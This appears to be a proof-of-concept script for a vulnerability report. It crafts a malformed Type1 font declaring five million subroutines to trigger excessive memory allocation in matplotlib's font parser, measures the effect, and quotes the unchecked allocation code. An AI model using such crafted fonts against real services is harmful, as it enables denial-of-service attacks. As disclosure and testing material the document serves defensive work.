import pathlib
import resource
import tempfile
import time

from matplotlib._type1font import Type1Font


def main():
    subrs_count = 5_000_000

    plaintext = (
        b"/FontName /LargeSubrsCount def\n"
        b"/FontBBox [0 0 1 1] def\n"
        + f"/Subrs {subrs_count} array\n".encode("ascii")
    )

    encrypted_hex = Type1Font._encrypt(plaintext, "eexec").hex().encode("ascii")
    pfa = (
        b"%!PS-AdobeFont-1.0: LargeSubrsCount 001.000\n"
        b"eexec\n"
        + encrypted_hex
        + b"\n"
        + (b"0" * 512)
        + b"\ncleartomark\n"
    )

    font_path = pathlib.Path(tempfile.mkdtemp()) / "large-subrs-count.pfa"
    font_path.write_bytes(pfa)

    rss_before = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    start = time.time()
    try:
        Type1Font(str(font_path))
    except StopIteration:
        parse_result = "body_rejected_after_allocation"
    except MemoryError:
        parse_result = "memory_error"
    else:
        raise RuntimeError("malformed font unexpectedly parsed")

    elapsed = time.time() - start
    rss_after = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss

    print(f"subrs_count={subrs_count}")
    print(f"parse_result={parse_result}")
    print(f"elapsed_seconds={elapsed:.3f}")
    print(f"rss_before_kb={rss_before}")
    print(f"rss_after_kb={rss_after}")
    print(f"rss_delta_kb={rss_after - rss_before}")


if __name__ == "__main__":
    main()

def _parse_subrs(self, tokens, _data):
    count_token = next(tokens)
    ...
    count = count_token.value()
    array = [None] * count
    next(t for t in tokens if t.is_keyword('array'))